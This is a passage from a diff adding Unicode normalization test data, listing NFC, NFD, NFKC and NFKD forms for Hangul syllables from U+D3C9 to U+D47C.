+{ source: [0xD3C9], NFC: [0xD3C9], NFD: [0x1111, 0x1167, 0x11BC], NFKC: [0xD3C9], NFKD: [0x1111, 0x1167, 0x11BC] },
+{ source: [0xD3CA], NFC: [0xD3CA], NFD: [0x1111, 0x1167, 0x11BD], NFKC: [0xD3CA], NFKD: [0x1111, 0x1167, 0x11BD] },
+{ source: [0xD3CB], NFC: [0xD3CB], NFD: [0x1111, 0x1167, 0x11BE], NFKC: [0xD3CB], NFKD: [0x1111, 0x1167, 0x11BE] },
+{ source: [0xD3CC], NFC: [0xD3CC], NFD: [0x1111, 0x1167, 0x11BF], NFKC: [0xD3CC], NFKD: [0x1111, 0x1167, 0x11BF] },
+{ source: [0xD3CD], NFC: [0xD3CD], NFD: [0x1111, 0x1167, 0x11C0], NFKC: [0xD3CD], NFKD: [0x1111, 0x1167, 0x11C0] },
+{ source: [0xD3CE], NFC: [0xD3CE], NFD: [0x1111, 0x1167, 0x11C1], NFKC: [0xD3CE], NFKD: [0x1111, 0x1167, 0x11C1] },
+{ source: [0xD3CF], NFC: [0xD3CF], NFD: [0x1111, 0x1167, 0x11C2], NFKC: [0xD3CF], NFKD: [0x1111, 0x1167, 0x11C2] },
+{ source: [0xD3D0], NFC: [0xD3D0], NFD: [0x1111, 0x1168], NFKC: [0xD3D0], NFKD: [0x1111, 0x1168] },
+{ source: [0xD3D1], NFC: [0xD3D1], NFD: [0x1111, 0x1168, 0x11A8], NFKC: [0xD3D1], NFKD: [0x1111, 0x1168, 0x11A8] },
+{ source: [0xD3D2], NFC: [0xD3D2], NFD: [0x1111, 0x1168, 0x11A9], NFKC: [0xD3D2], NFKD: [0x1111, 0x1168, 0x11A9] },
+{ source: [0xD3D3], NFC: [0xD3D3], NFD: [0x1111, 0x1168, 0x11AA], NFKC: [0xD3D3], NFKD: [0x1111, 0x1168, 0x11AA] },
+{ source: [0xD3D4], NFC: [0xD3D4], NFD: [0x1111, 0x1168, 0x11AB], NFKC: [0xD3D4], NFKD: [0x1111, 0x1168, 0x11AB] },
+{ source: [0xD3D5], NFC: [0xD3D5], NFD: [0x1111, 0x1168, 0x11AC], NFKC: [0xD3D5], NFKD: [0x1111, 0x1168, 0x11AC] },
+{ source: [0xD3D6], NFC: [0xD3D6], NFD: [0x1111, 0x1168, 0x11AD], NFKC: [0xD3D6], NFKD: [0x1111, 0x1168, 0x11AD] },
+{ source: [0xD3D7], NFC: [0xD3D7], NFD: [0x1111, 0x1168, 0x11AE], NFKC: [0xD3D7], NFKD: [0x1111, 0x1168, 0x11AE] },
+{ source: [0xD3D8], NFC: [0xD3D8], NFD: [0x1111, 0x1168, 0x11AF], NFKC: [0xD3D8], NFKD: [0x1111, 0x1168, 0x11AF] },
+{ source: [0xD3D9], NFC: [0xD3D9], NFD: [0x1111, 0x1168, 0x11B0], NFKC: [0xD3D9], NFKD: [0x1111, 0x1168, 0x11B0] },
+{ source: [0xD3DA], NFC: [0xD3DA], NFD: [0x1111, 0x1168, 0x11B1], NFKC: [0xD3DA], NFKD: [0x1111, 0x1168, 0x11B1] },
+{ source: [0xD3DB], NFC: [0xD3DB], NFD: [0x1111, 0x1168, 0x11B2], NFKC: [0xD3DB], NFKD: [0x1111, 0x1168, 0x11B2] },
+{ source: [0xD3DC], NFC: [0xD3DC], NFD: [0x1111, 0x1168, 0x11B3], NFKC: [0xD3DC], NFKD: [0x1111, 0x1168, 0x11B3] },
+{ source: [0xD3DD], NFC: [0xD3DD], NFD: [0x1111, 0x1168, 0x11B4], NFKC: [0xD3DD], NFKD: [0x1111, 0x1168, 0x11B4] },
+{ source: [0xD3DE], NFC: [0xD3DE], NFD: [0x1111, 0x1168, 0x11B5], NFKC: [0xD3DE], NFKD: [0x1111, 0x1168, 0x11B5] },
+{ source: [0xD3DF], NFC: [0xD3DF], NFD: [0x1111, 0x1168, 0x11B6], NFKC: [0xD3DF], NFKD: [0x1111, 0x1168, 0x11B6] },
+{ source: [0xD3E0], NFC: [0xD3E0], NFD: [0x1111, 0x1168, 0x11B7], NFKC: [0xD3E0], NFKD: [0x1111, 0x1168, 0x11B7] },
+{ source: [0xD3E1], NFC: [0xD3E1], NFD: [0x1111, 0x1168, 0x11B8], NFKC: [0xD3E1], NFKD: [0x1111, 0x1168, 0x11B8] },
+{ source: [0xD3E2], NFC: [0xD3E2], NFD: [0x1111, 0x1168, 0x11B9], NFKC: [0xD3E2], NFKD: [0x1111, 0x1168, 0x11B9] },
+{ source: [0xD3E3], NFC: [0xD3E3], NFD: [0x1111, 0x1168, 0x11BA], NFKC: [0xD3E3], NFKD: [0x1111, 0x1168, 0x11BA] },
+{ source: [0xD3E4], NFC: [0xD3E4], NFD: [0x1111, 0x1168, 0x11BB], NFKC: [0xD3E4], NFKD: [0x1111, 0x1168, 0x11BB] },
+{ source: [0xD3E5], NFC: [0xD3E5], NFD: [0x1111, 0x1168, 0x11BC], NFKC: [0xD3E5], NFKD: [0x1111, 0x1168, 0x11BC] },
+{ source: [0xD3E6], NFC: [0xD3E6], NFD: [0x1111, 0x1168, 0x11BD], NFKC: [0xD3E6], NFKD: [0x1111, 0x1168, 0x11BD] },
+{ source: [0xD3E7], NFC: [0xD3E7], NFD: [0x1111, 0x1168, 0x11BE], NFKC: [0xD3E7], NFKD: [0x1111, 0x1168, 0x11BE] },
+{ source: [0xD3E8], NFC: [0xD3E8], NFD: [0x1111, 0x1168, 0x11BF], NFKC: [0xD3E8], NFKD: [0x1111, 0x1168, 0x11BF] },
+{ source: [0xD3E9], NFC: [0xD3E9], NFD: [0x1111, 0x1168, 0x11C0], NFKC: [0xD3E9], NFKD: [0x1111, 0x1168, 0x11C0] },
+{ source: [0xD3EA], NFC: [0xD3EA], NFD: [0x1111, 0x1168, 0x11C1], NFKC: [0xD3EA], NFKD: [0x1111, 0x1168, 0x11C1] },
+{ source: [0xD3EB], NFC: [0xD3EB], NFD: [0x1111, 0x1168, 0x11C2], NFKC: [0xD3EB], NFKD: [0x1111, 0x1168, 0x11C2] },
+{ source: [0xD3EC], NFC: [0xD3EC], NFD: [0x1111, 0x1169], NFKC: [0xD3EC], NFKD: [0x1111, 0x1169] },
+{ source: [0xD3ED], NFC: [0xD3ED], NFD: [0x1111, 0x1169, 0x11A8], NFKC: [0xD3ED], NFKD: [0x1111, 0x1169, 0x11A8] },
+{ source: [0xD3EE], NFC: [0xD3EE], NFD: [0x1111, 0x1169, 0x11A9], NFKC: [0xD3EE], NFKD: [0x1111, 0x1169, 0x11A9] },
+{ source: [0xD3EF], NFC: [0xD3EF], NFD: [0x1111, 0x1169, 0x11AA], NFKC: [0xD3EF], NFKD: [0x1111, 0x1169, 0x11AA] },
+{ source: [0xD3F0], NFC: [0xD3F0], NFD: [0x1111, 0x1169, 0x11AB], NFKC: [0xD3F0], NFKD: [0x1111, 0x1169, 0x11AB] },
+{ source: [0xD3F1], NFC: [0xD3F1], NFD: [0x1111, 0x1169, 0x11AC], NFKC: [0xD3F1], NFKD: [0x1111, 0x1169, 0x11AC] },
+{ source: [0xD3F2], NFC: [0xD3F2], NFD: [0x1111, 0x1169, 0x11AD], NFKC: [0xD3F2], NFKD: [0x1111, 0x1169, 0x11AD] },
+{ source: [0xD3F3], NFC: [0xD3F3], NFD: [0x1111, 0x1169, 0x11AE], NFKC: [0xD3F3], NFKD: [0x1111, 0x1169, 0x11AE] },
+{ source: [0xD3F4], NFC: [0xD3F4], NFD: [0x1111, 0x1169, 0x11AF], NFKC: [0xD3F4], NFKD: [0x1111, 0x1169, 0x11AF] },
+{ source: [0xD3F5], NFC: [0xD3F5], NFD: [0x1111, 0x1169, 0x11B0], NFKC: [0xD3F5], NFKD: [0x1111, 0x1169, 0x11B0] },
+{ source: [0xD3F6], NFC: [0xD3F6], NFD: [0x1111, 0x1169, 0x11B1], NFKC: [0xD3F6], NFKD: [0x1111, 0x1169, 0x11B1] },
+{ source: [0xD3F7], NFC: [0xD3F7], NFD: [0x1111, 0x1169, 0x11B2], NFKC: [0xD3F7], NFKD: [0x1111, 0x1169, 0x11B2] },
+{ source: [0xD3F8], NFC: [0xD3F8], NFD: [0x1111, 0x1169, 0x11B3], NFKC: [0xD3F8], NFKD: [0x1111, 0x1169, 0x11B3] },
+{ source: [0xD3F9], NFC: [0xD3F9], NFD: [0x1111, 0x1169, 0x11B4], NFKC: [0xD3F9], NFKD: [0x1111, 0x1169, 0x11B4] },
+{ source: [0xD3FA], NFC: [0xD3FA], NFD: [0x1111, 0x1169, 0x11B5], NFKC: [0xD3FA], NFKD: [0x1111, 0x1169, 0x11B5] },
+{ source: [0xD3FB], NFC: [0xD3FB], NFD: [0x1111, 0x1169, 0x11B6], NFKC: [0xD3FB], NFKD: [0x1111, 0x1169, 0x11B6] },
+{ source: [0xD3FC], NFC: [0xD3FC], NFD: [0x1111, 0x1169, 0x11B7], NFKC: [0xD3FC], NFKD: [0x1111, 0x1169, 0x11B7] },
+{ source: [0xD3FD], NFC: [0xD3FD], NFD: [0x1111, 0x1169, 0x11B8], NFKC: [0xD3FD], NFKD: [0x1111, 0x1169, 0x11B8] },
+{ source: [0xD3FE], NFC: [0xD3FE], NFD: [0x1111, 0x1169, 0x11B9], NFKC: [0xD3FE], NFKD: [0x1111, 0x1169, 0x11B9] },
+{ source: [0xD3FF], NFC: [0xD3FF], NFD: [0x1111, 0x1169, 0x11BA], NFKC: [0xD3FF], NFKD: [0x1111, 0x1169, 0x11BA] },
+{ source: [0xD400], NFC: [0xD400], NFD: [0x1111, 0x1169, 0x11BB], NFKC: [0xD400], NFKD: [0x1111, 0x1169, 0x11BB] },
+{ source: [0xD401], NFC: [0xD401], NFD: [0x1111, 0x1169, 0x11BC], NFKC: [0xD401], NFKD: [0x1111, 0x1169, 0x11BC] },
+{ source: [0xD402], NFC: [0xD402], NFD: [0x1111, 0x1169, 0x11BD], NFKC: [0xD402], NFKD: [0x1111, 0x1169, 0x11BD] },
+{ source: [0xD403], NFC: [0xD403], NFD: [0x1111, 0x1169, 0x11BE], NFKC: [0xD403], NFKD: [0x1111, 0x1169, 0x11BE] },
+{ source: [0xD404], NFC: [0xD404], NFD: [0x1111, 0x1169, 0x11BF], NFKC: [0xD404], NFKD: [0x1111, 0x1169, 0x11BF] },
+{ source: [0xD405], NFC: [0xD405], NFD: [0x1111, 0x1169, 0x11C0], NFKC: [0xD405], NFKD: [0x1111, 0x1169, 0x11C0] },
+{ source: [0xD406], NFC: [0xD406], NFD: [0x1111, 0x1169, 0x11C1], NFKC: [0xD406], NFKD: [0x1111, 0x1169, 0x11C1] },
+{ source: [0xD407], NFC: [0xD407], NFD: [0x1111, 0x1169, 0x11C2], NFKC: [0xD407], NFKD: [0x1111, 0x1169, 0x11C2] },
+{ source: [0xD408], NFC: [0xD408], NFD: [0x1111, 0x116A], NFKC: [0xD408], NFKD: [0x1111, 0x116A] },
+{ source: [0xD409], NFC: [0xD409], NFD: [0x1111, 0x116A, 0x11A8], NFKC: [0xD409], NFKD: [0x1111, 0x116A, 0x11A8] },
+{ source: [0xD40A], NFC: [0xD40A], NFD: [0x1111, 0x116A, 0x11A9], NFKC: [0xD40A], NFKD: [0x1111, 0x116A, 0x11A9] },
+{ source: [0xD40B], NFC: [0xD40B], NFD: [0x1111, 0x116A, 0x11AA], NFKC: [0xD40B], NFKD: [0x1111, 0x116A, 0x11AA] },
+{ source: [0xD40C], NFC: [0xD40C], NFD: [0x1111, 0x116A, 0x11AB], NFKC: [0xD40C], NFKD: [0x1111, 0x116A, 0x11AB] },
+{ source: [0xD40D], NFC: [0xD40D], NFD: [0x1111, 0x116A, 0x11AC], NFKC: [0xD40D], NFKD: [0x1111, 0x116A, 0x11AC] },
+{ source: [0xD40E], NFC: [0xD40E], NFD: [0x1111, 0x116A, 0x11AD], NFKC: [0xD40E], NFKD: [0x1111, 0x116A, 0x11AD] },
+{ source: [0xD40F], NFC: [0xD40F], NFD: [0x1111, 0x116A, 0x11AE], NFKC: [0xD40F], NFKD: [0x1111, 0x116A, 0x11AE] },
+{ source: [0xD410], NFC: [0xD410], NFD: [0x1111, 0x116A, 0x11AF], NFKC: [0xD410], NFKD: [0x1111, 0x116A, 0x11AF] },
+{ source: [0xD411], NFC: [0xD411], NFD: [0x1111, 0x116A, 0x11B0], NFKC: [0xD411], NFKD: [0x1111, 0x116A, 0x11B0] },
+{ source: [0xD412], NFC: [0xD412], NFD: [0x1111, 0x116A, 0x11B1], NFKC: [0xD412], NFKD: [0x1111, 0x116A, 0x11B1] },
+{ source: [0xD413], NFC: [0xD413], NFD: [0x1111, 0x116A, 0x11B2], NFKC: [0xD413], NFKD: [0x1111, 0x116A, 0x11B2] },
+{ source: [0xD414], NFC: [0xD414], NFD: [0x1111, 0x116A, 0x11B3], NFKC: [0xD414], NFKD: [0x1111, 0x116A, 0x11B3] },
+{ source: [0xD415], NFC: [0xD415], NFD: [0x1111, 0x116A, 0x11B4], NFKC: [0xD415], NFKD: [0x1111, 0x116A, 0x11B4] },
+{ source: [0xD416], NFC: [0xD416], NFD: [0x1111, 0x116A, 0x11B5], NFKC: [0xD416], NFKD: [0x1111, 0x116A, 0x11B5] },
+{ source: [0xD417], NFC: [0xD417], NFD: [0x1111, 0x116A, 0x11B6], NFKC: [0xD417], NFKD: [0x1111, 0x116A, 0x11B6] },
+{ source: [0xD418], NFC: [0xD418], NFD: [0x1111, 0x116A, 0x11B7], NFKC: [0xD418], NFKD: [0x1111, 0x116A, 0x11B7] },
+{ source: [0xD419], NFC: [0xD419], NFD: [0x1111, 0x116A, 0x11B8], NFKC: [0xD419], NFKD: [0x1111, 0x116A, 0x11B8] },
+{ source: [0xD41A], NFC: [0xD41A], NFD: [0x1111, 0x116A, 0x11B9], NFKC: [0xD41A], NFKD: [0x1111, 0x116A, 0x11B9] },
+{ source: [0xD41B], NFC: [0xD41B], NFD: [0x1111, 0x116A, 0x11BA], NFKC: [0xD41B], NFKD: [0x1111, 0x116A, 0x11BA] },
+{ source: [0xD41C], NFC: [0xD41C], NFD: [0x1111, 0x116A, 0x11BB], NFKC: [0xD41C], NFKD: [0x1111, 0x116A, 0x11BB] },
+{ source: [0xD41D], NFC: [0xD41D], NFD: [0x1111, 0x116A, 0x11BC], NFKC: [0xD41D], NFKD: [0x1111, 0x116A, 0x11BC] },
+{ source: [0xD41E], NFC: [0xD41E], NFD: [0x1111, 0x116A, 0x11BD], NFKC: [0xD41E], NFKD: [0x1111, 0x116A, 0x11BD] },
+{ source: [0xD41F], NFC: [0xD41F], NFD: [0x1111, 0x116A, 0x11BE], NFKC: [0xD41F], NFKD: [0x1111, 0x116A, 0x11BE] },
+{ source: [0xD420], NFC: [0xD420], NFD: [0x1111, 0x116A, 0x11BF], NFKC: [0xD420], NFKD: [0x1111, 0x116A, 0x11BF] },
+{ source: [0xD421], NFC: [0xD421], NFD: [0x1111, 0x116A, 0x11C0], NFKC: [0xD421], NFKD: [0x1111, 0x116A, 0x11C0] },
+{ source: [0xD422], NFC: [0xD422], NFD: [0x1111, 0x116A, 0x11C1], NFKC: [0xD422], NFKD: [0x1111, 0x116A, 0x11C1] },
+{ source: [0xD423], NFC: [0xD423], NFD: [0x1111, 0x116A, 0x11C2], NFKC: [0xD423], NFKD: [0x1111, 0x116A, 0x11C2] },
+{ source: [0xD424], NFC: [0xD424], NFD: [0x1111, 0x116B], NFKC: [0xD424], NFKD: [0x1111, 0x116B] },
+{ source: [0xD425], NFC: [0xD425], NFD: [0x1111, 0x116B, 0x11A8], NFKC: [0xD425], NFKD: [0x1111, 0x116B, 0x11A8] },
+{ source: [0xD426], NFC: [0xD426], NFD: [0x1111, 0x116B, 0x11A9], NFKC: [0xD426], NFKD: [0x1111, 0x116B, 0x11A9] },
+{ source: [0xD427], NFC: [0xD427], NFD: [0x1111, 0x116B, 0x11AA], NFKC: [0xD427], NFKD: [0x1111, 0x116B, 0x11AA] },
+{ source: [0xD428], NFC: [0xD428], NFD: [0x1111, 0x116B, 0x11AB], NFKC: [0xD428], NFKD: [0x1111, 0x116B, 0x11AB] },
+{ source: [0xD429], NFC: [0xD429], NFD: [0x1111, 0x116B, 0x11AC], NFKC: [0xD429], NFKD: [0x1111, 0x116B, 0x11AC] },
+{ source: [0xD42A], NFC: [0xD42A], NFD: [0x1111, 0x116B, 0x11AD], NFKC: [0xD42A], NFKD: [0x1111, 0x116B, 0x11AD] },
+{ source: [0xD42B], NFC: [0xD42B], NFD: [0x1111, 0x116B, 0x11AE], NFKC: [0xD42B], NFKD: [0x1111, 0x116B, 0x11AE] },
+{ source: [0xD42C], NFC: [0xD42C], NFD: [0x1111, 0x116B, 0x11AF], NFKC: [0xD42C], NFKD: [0x1111, 0x116B, 0x11AF] },
+{ source: [0xD42D], NFC: [0xD42D], NFD: [0x1111, 0x116B, 0x11B0], NFKC: [0xD42D], NFKD: [0x1111, 0x116B, 0x11B0] },
+{ source: [0xD42E], NFC: [0xD42E], NFD: [0x1111, 0x116B, 0x11B1], NFKC: [0xD42E], NFKD: [0x1111, 0x116B, 0x11B1] },
+{ source: [0xD42F], NFC: [0xD42F], NFD: [0x1111, 0x116B, 0x11B2], NFKC: [0xD42F], NFKD: [0x1111, 0x116B, 0x11B2] },
+{ source: [0xD430], NFC: [0xD430], NFD: [0x1111, 0x116B, 0x11B3], NFKC: [0xD430], NFKD: [0x1111, 0x116B, 0x11B3] },
+{ source: [0xD431], NFC: [0xD431], NFD: [0x1111, 0x116B, 0x11B4], NFKC: [0xD431], NFKD: [0x1111, 0x116B, 0x11B4] },
+{ source: [0xD432], NFC: [0xD432], NFD: [0x1111, 0x116B, 0x11B5], NFKC: [0xD432], NFKD: [0x1111, 0x116B, 0x11B5] },
+{ source: [0xD433], NFC: [0xD433], NFD: [0x1111, 0x116B, 0x11B6], NFKC: [0xD433], NFKD: [0x1111, 0x116B, 0x11B6] },
+{ source: [0xD434], NFC: [0xD434], NFD: [0x1111, 0x116B, 0x11B7], NFKC: [0xD434], NFKD: [0x1111, 0x116B, 0x11B7] },
+{ source: [0xD435], NFC: [0xD435], NFD: [0x1111, 0x116B, 0x11B8], NFKC: [0xD435], NFKD: [0x1111, 0x116B, 0x11B8] },
+{ source: [0xD436], NFC: [0xD436], NFD: [0x1111, 0x116B, 0x11B9], NFKC: [0xD436], NFKD: [0x1111, 0x116B, 0x11B9] },
+{ source: [0xD437], NFC: [0xD437], NFD: [0x1111, 0x116B, 0x11BA], NFKC: [0xD437], NFKD: [0x1111, 0x116B, 0x11BA] },
+{ source: [0xD438], NFC: [0xD438], NFD: [0x1111, 0x116B, 0x11BB], NFKC: [0xD438], NFKD: [0x1111, 0x116B, 0x11BB] },
+{ source: [0xD439], NFC: [0xD439], NFD: [0x1111, 0x116B, 0x11BC], NFKC: [0xD439], NFKD: [0x1111, 0x116B, 0x11BC] },
+{ source: [0xD43A], NFC: [0xD43A], NFD: [0x1111, 0x116B, 0x11BD], NFKC: [0xD43A], NFKD: [0x1111, 0x116B, 0x11BD] },
+{ source: [0xD43B], NFC: [0xD43B], NFD: [0x1111, 0x116B, 0x11BE], NFKC: [0xD43B], NFKD: [0x1111, 0x116B, 0x11BE] },
+{ source: [0xD43C], NFC: [0xD43C], NFD: [0x1111, 0x116B, 0x11BF], NFKC: [0xD43C], NFKD: [0x1111, 0x116B, 0x11BF] },
+{ source: [0xD43D], NFC: [0xD43D], NFD: [0x1111, 0x116B, 0x11C0], NFKC: [0xD43D], NFKD: [0x1111, 0x116B, 0x11C0] },
+{ source: [0xD43E], NFC: [0xD43E], NFD: [0x1111, 0x116B, 0x11C1], NFKC: [0xD43E], NFKD: [0x1111, 0x116B, 0x11C1] },
+{ source: [0xD43F], NFC: [0xD43F], NFD: [0x1111, 0x116B, 0x11C2], NFKC: [0xD43F], NFKD: [0x1111, 0x116B, 0x11C2] },
+{ source: [0xD440], NFC: [0xD440], NFD: [0x1111, 0x116C], NFKC: [0xD440], NFKD: [0x1111, 0x116C] },
+{ source: [0xD441], NFC: [0xD441], NFD: [0x1111, 0x116C, 0x11A8], NFKC: [0xD441], NFKD: [0x1111, 0x116C, 0x11A8] },
+{ source: [0xD442], NFC: [0xD442], NFD: [0x1111, 0x116C, 0x11A9], NFKC: [0xD442], NFKD: [0x1111, 0x116C, 0x11A9] },
+{ source: [0xD443], NFC: [0xD443], NFD: [0x1111, 0x116C, 0x11AA], NFKC: [0xD443], NFKD: [0x1111, 0x116C, 0x11AA] },
+{ source: [0xD444], NFC: [0xD444], NFD: [0x1111, 0x116C, 0x11AB], NFKC: [0xD444], NFKD: [0x1111, 0x116C, 0x11AB] },
+{ source: [0xD445], NFC: [0xD445], NFD: [0x1111, 0x116C, 0x11AC], NFKC: [0xD445], NFKD: [0x1111, 0x116C, 0x11AC] },
+{ source: [0xD446], NFC: [0xD446], NFD: [0x1111, 0x116C, 0x11AD], NFKC: [0xD446], NFKD: [0x1111, 0x116C, 0x11AD] },
+{ source: [0xD447], NFC: [0xD447], NFD: [0x1111, 0x116C, 0x11AE], NFKC: [0xD447], NFKD: [0x1111, 0x116C, 0x11AE] },
+{ source: [0xD448], NFC: [0xD448], NFD: [0x1111, 0x116C, 0x11AF], NFKC: [0xD448], NFKD: [0x1111, 0x116C, 0x11AF] },
+{ source: [0xD449], NFC: [0xD449], NFD: [0x1111, 0x116C, 0x11B0], NFKC: [0xD449], NFKD: [0x1111, 0x116C, 0x11B0] },
+{ source: [0xD44A], NFC: [0xD44A], NFD: [0x1111, 0x116C, 0x11B1], NFKC: [0xD44A], NFKD: [0x1111, 0x116C, 0x11B1] },
+{ source: [0xD44B], NFC: [0xD44B], NFD: [0x1111, 0x116C, 0x11B2], NFKC: [0xD44B], NFKD: [0x1111, 0x116C, 0x11B2] },
+{ source: [0xD44C], NFC: [0xD44C], NFD: [0x1111, 0x116C, 0x11B3], NFKC: [0xD44C], NFKD: [0x1111, 0x116C, 0x11B3] },
+{ source: [0xD44D], NFC: [0xD44D], NFD: [0x1111, 0x116C, 0x11B4], NFKC: [0xD44D], NFKD: [0x1111, 0x116C, 0x11B4] },
+{ source: [0xD44E], NFC: [0xD44E], NFD: [0x1111, 0x116C, 0x11B5], NFKC: [0xD44E], NFKD: [0x1111, 0x116C, 0x11B5] },
+{ source: [0xD44F], NFC: [0xD44F], NFD: [0x1111, 0x116C, 0x11B6], NFKC: [0xD44F], NFKD: [0x1111, 0x116C, 0x11B6] },
+{ source: [0xD450], NFC: [0xD450], NFD: [0x1111, 0x116C, 0x11B7], NFKC: [0xD450], NFKD: [0x1111, 0x116C, 0x11B7] },
+{ source: [0xD451], NFC: [0xD451], NFD: [0x1111, 0x116C, 0x11B8], NFKC: [0xD451], NFKD: [0x1111, 0x116C, 0x11B8] },
+{ source: [0xD452], NFC: [0xD452], NFD: [0x1111, 0x116C, 0x11B9], NFKC: [0xD452], NFKD: [0x1111, 0x116C, 0x11B9] },
+{ source: [0xD453], NFC: [0xD453], NFD: [0x1111, 0x116C, 0x11BA], NFKC: [0xD453], NFKD: [0x1111, 0x116C, 0x11BA] },
+{ source: [0xD454], NFC: [0xD454], NFD: [0x1111, 0x116C, 0x11BB], NFKC: [0xD454], NFKD: [0x1111, 0x116C, 0x11BB] },
+{ source: [0xD455], NFC: [0xD455], NFD: [0x1111, 0x116C, 0x11BC], NFKC: [0xD455], NFKD: [0x1111, 0x116C, 0x11BC] },
+{ source: [0xD456], NFC: [0xD456], NFD: [0x1111, 0x116C, 0x11BD], NFKC: [0xD456], NFKD: [0x1111, 0x116C, 0x11BD] },
+{ source: [0xD457], NFC: [0xD457], NFD: [0x1111, 0x116C, 0x11BE], NFKC: [0xD457], NFKD: [0x1111, 0x116C, 0x11BE] },
+{ source: [0xD458], NFC: [0xD458], NFD: [0x1111, 0x116C, 0x11BF], NFKC: [0xD458], NFKD: [0x1111, 0x116C, 0x11BF] },
+{ source: [0xD459], NFC: [0xD459], NFD: [0x1111, 0x116C, 0x11C0], NFKC: [0xD459], NFKD: [0x1111, 0x116C, 0x11C0] },
+{ source: [0xD45A], NFC: [0xD45A], NFD: [0x1111, 0x116C, 0x11C1], NFKC: [0xD45A], NFKD: [0x1111, 0x116C, 0x11C1] },
+{ source: [0xD45B], NFC: [0xD45B], NFD: [0x1111, 0x116C, 0x11C2], NFKC: [0xD45B], NFKD: [0x1111, 0x116C, 0x11C2] },
+{ source: [0xD45C], NFC: [0xD45C], NFD: [0x1111, 0x116D], NFKC: [0xD45C], NFKD: [0x1111, 0x116D] },
+{ source: [0xD45D], NFC: [0xD45D], NFD: [0x1111, 0x116D, 0x11A8], NFKC: [0xD45D], NFKD: [0x1111, 0x116D, 0x11A8] },
+{ source: [0xD45E], NFC: [0xD45E], NFD: [0x1111, 0x116D, 0x11A9], NFKC: [0xD45E], NFKD: [0x1111, 0x116D, 0x11A9] },
+{ source: [0xD45F], NFC: [0xD45F], NFD: [0x1111, 0x116D, 0x11AA], NFKC: [0xD45F], NFKD: [0x1111, 0x116D, 0x11AA] },
+{ source: [0xD460], NFC: [0xD460], NFD: [0x1111, 0x116D, 0x11AB], NFKC: [0xD460], NFKD: [0x1111, 0x116D, 0x11AB] },
+{ source: [0xD461], NFC: [0xD461], NFD: [0x1111, 0x116D, 0x11AC], NFKC: [0xD461], NFKD: [0x1111, 0x116D, 0x11AC] },
+{ source: [0xD462], NFC: [0xD462], NFD: [0x1111, 0x116D, 0x11AD], NFKC: [0xD462], NFKD: [0x1111, 0x116D, 0x11AD] },
+{ source: [0xD463], NFC: [0xD463], NFD: [0x1111, 0x116D, 0x11AE], NFKC: [0xD463], NFKD: [0x1111, 0x116D, 0x11AE] },
+{ source: [0xD464], NFC: [0xD464], NFD: [0x1111, 0x116D, 0x11AF], NFKC: [0xD464], NFKD: [0x1111, 0x116D, 0x11AF] },
+{ source: [0xD465], NFC: [0xD465], NFD: [0x1111, 0x116D, 0x11B0], NFKC: [0xD465], NFKD: [0x1111, 0x116D, 0x11B0] },
+{ source: [0xD466], NFC: [0xD466], NFD: [0x1111, 0x116D, 0x11B1], NFKC: [0xD466], NFKD: [0x1111, 0x116D, 0x11B1] },
+{ source: [0xD467], NFC: [0xD467], NFD: [0x1111, 0x116D, 0x11B2], NFKC: [0xD467], NFKD: [0x1111, 0x116D, 0x11B2] },
+{ source: [0xD468], NFC: [0xD468], NFD: [0x1111, 0x116D, 0x11B3], NFKC: [0xD468], NFKD: [0x1111, 0x116D, 0x11B3] },
+{ source: [0xD469], NFC: [0xD469], NFD: [0x1111, 0x116D, 0x11B4], NFKC: [0xD469], NFKD: [0x1111, 0x116D, 0x11B4] },
+{ source: [0xD46A], NFC: [0xD46A], NFD: [0x1111, 0x116D, 0x11B5], NFKC: [0xD46A], NFKD: [0x1111, 0x116D, 0x11B5] },
+{ source: [0xD46B], NFC: [0xD46B], NFD: [0x1111, 0x116D, 0x11B6], NFKC: [0xD46B], NFKD: [0x1111, 0x116D, 0x11B6] },
+{ source: [0xD46C], NFC: [0xD46C], NFD: [0x1111, 0x116D, 0x11B7], NFKC: [0xD46C], NFKD: [0x1111, 0x116D, 0x11B7] },
+{ source: [0xD46D], NFC: [0xD46D], NFD: [0x1111, 0x116D, 0x11B8], NFKC: [0xD46D], NFKD: [0x1111, 0x116D, 0x11B8] },
+{ source: [0xD46E], NFC: [0xD46E], NFD: [0x1111, 0x116D, 0x11B9], NFKC: [0xD46E], NFKD: [0x1111, 0x116D, 0x11B9] },
+{ source: [0xD46F], NFC: [0xD46F], NFD: [0x1111, 0x116D, 0x11BA], NFKC: [0xD46F], NFKD: [0x1111, 0x116D, 0x11BA] },
+{ source: [0xD470], NFC: [0xD470], NFD: [0x1111, 0x116D, 0x11BB], NFKC: [0xD470], NFKD: [0x1111, 0x116D, 0x11BB] },
+{ source: [0xD471], NFC: [0xD471], NFD: [0x1111, 0x116D, 0x11BC], NFKC: [0xD471], NFKD: [0x1111, 0x116D, 0x11BC] },
+{ source: [0xD472], NFC: [0xD472], NFD: [0x1111, 0x116D, 0x11BD], NFKC: [0xD472], NFKD: [0x1111, 0x116D, 0x11BD] },
+{ source: [0xD473], NFC: [0xD473], NFD: [0x1111, 0x116D, 0x11BE], NFKC: [0xD473], NFKD: [0x1111, 0x116D, 0x11BE] },
+{ source: [0xD474], NFC: [0xD474], NFD: [0x1111, 0x116D, 0x11BF], NFKC: [0xD474], NFKD: [0x1111, 0x116D, 0x11BF] },
+{ source: [0xD475], NFC: [0xD475], NFD: [0x1111, 0x116D, 0x11C0], NFKC: [0xD475], NFKD: [0x1111, 0x116D, 0x11C0] },
+{ source: [0xD476], NFC: [0xD476], NFD: [0x1111, 0x116D, 0x11C1], NFKC: [0xD476], NFKD: [0x1111, 0x116D, 0x11C1] },
+{ source: [0xD477], NFC: [0xD477], NFD: [0x1111, 0x116D, 0x11C2], NFKC: [0xD477], NFKD: [0x1111, 0x116D, 0x11C2] },
+{ source: [0xD478], NFC: [0xD478], NFD: [0x1111, 0x116E], NFKC: [0xD478], NFKD: [0x1111, 0x116E] },
+{ source: [0xD479], NFC: [0xD479], NFD: [0x1111, 0x116E, 0x11A8], NFKC: [0xD479], NFKD: [0x1111, 0x116E, 0x11A8] },
+{ source: [0xD47A], NFC: [0xD47A], NFD: [0x1111, 0x116E, 0x11A9], NFKC: [0xD47A], NFKD: [0x1111, 0x116E, 0x11A9] },
+{ source: [0xD47B], NFC: [0xD47B], NFD: [0x1111, 0x116E, 0x11AA], NFKC: [0xD47B], NFKD: [0x1111, 0x116E, 0x11AA] },
+{ source: [0xD47C], NFC: [0xD47C], NFD: [0x1111, 0x116E, 0x11AB], NFKC: [0xD47C], NFKD: [0x1111, 0x116E, 0x11AB] },
